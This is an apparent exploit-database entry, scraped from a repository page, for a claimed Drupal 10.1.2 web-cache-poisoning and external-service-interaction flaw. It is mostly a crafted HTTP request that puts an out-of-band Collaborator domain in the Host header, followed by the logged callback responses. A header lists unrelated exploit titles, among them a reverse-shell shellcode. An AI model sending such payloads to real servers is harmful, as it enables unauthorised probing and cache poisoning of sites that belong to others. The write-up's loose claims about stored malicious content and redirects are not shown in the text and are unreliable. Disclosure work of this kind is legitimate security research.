cbe784b087
16 changes to exploits/shellcodes/ghdb Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities Axigen < 10.3.3.47_ 10.2.3.12 - Reflected XSS Drupal 10.1.2 - web-cache-poisoning-External-service-interaction Jorani v1.0.3-(c)2014-2023 - XSS Reflected & Information Disclosure soosyze 2.0.0 - File Upload SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection Wordpress Plugin Elementor 3.5.5 - Iframe Injection Wp2Fac - OS Command Injection Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE) SyncBreeze 15.2.24 - 'login' Denial of Service GOM Player 2.3.90.5360 - Buffer Overflow (PoC) GOM Player 2.3.90.5360 - Remote Code Execution (RCE) Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)
88 lines
No EOL
3 KiB
Text
88 lines
No EOL
3 KiB
Text
## Title: drupal-10.1.2 web-cache-poisoning-External-service-interaction
|
|
## Author: nu11secur1ty
|
|
## Date: 08/30/2023
|
|
## Vendor: https://www.drupal.org/
|
|
## Software: https://www.drupal.org/download
|
|
## Reference: https://portswigger.net/kb/issues/00300210_external-service-interaction-http
|
|
|
|
## Description:
|
|
It is possible to induce the application to perform server-side HTTP
|
|
requests to arbitrary domains.
|
|
The payload d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com was
|
|
submitted in the HTTP Host header.
|
|
The application performed an HTTP request to the specified domain. For
|
|
the second test, the attacker stored a response
|
|
on the server with malicious content. This can be bad for a lot of
|
|
users of this system if the attacker spreads a malicious URL
|
|
and sends it by email etc. By using a redirect exploit.
|
|
|
|
STATUS: HIGH-Vulnerability
|
|
|
|
[+]Exploit:
|
|
```GET
|
|
GET /drupal/web/?psp4hw87ev=1 HTTP/1.1
|
|
Host: d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com
|
|
Accept-Encoding: gzip, deflate, psp4hw87ev
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7,
|
|
text/psp4hw87ev
|
|
Accept-Language: en-US,psp4hw87ev;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111
|
|
Safari/537.36 psp4hw87ev
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
|
|
Sec-CH-UA-Platform: Windows
|
|
Sec-CH-UA-Mobile: ?0
|
|
Origin: https://psp4hw87ev.pwnedhost.com
|
|
```
|
|
[+]Response from Burpcollaborator server:
|
|
```HTTP
|
|
HTTP/1.1 200 OK
|
|
Server: Burp Collaborator https://burpcollaborator.net/
|
|
X-Collaborator-Version: 4
|
|
Content-Type: text/html
|
|
Content-Length: 62
|
|
|
|
<html><body>zeq5zcbz3x69x9a63ubxidzjlgigmmgifigz</body></html>
|
|
```
|
|
|
|
[+]Response from Attacker server
|
|
```HTTP
|
|
192.168.100.45 - - [30/Aug/2023 05:52:56] "GET
|
|
/drupal/web/rss.xml?psp4hw87ev=1 HTTP/1.1"
|
|
```
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/DRUPAL/2013/drupal-10.1.2)
|
|
|
|
## Proof and Exploit:
|
|
[href](https://www.nu11secur1ty.com/2023/08/drupal-1012-web-cache-poisoning.html)
|
|
|
|
## Time spend:
|
|
03:35:00
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
|
|
https://www.exploit-db.com/
|
|
0day Exploit DataBase https://0day.today/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/>
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.html
|
|
https://cxsecurity.com/ and https://www.exploit-db.com/
|
|
0day Exploit DataBase https://0day.today/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/> |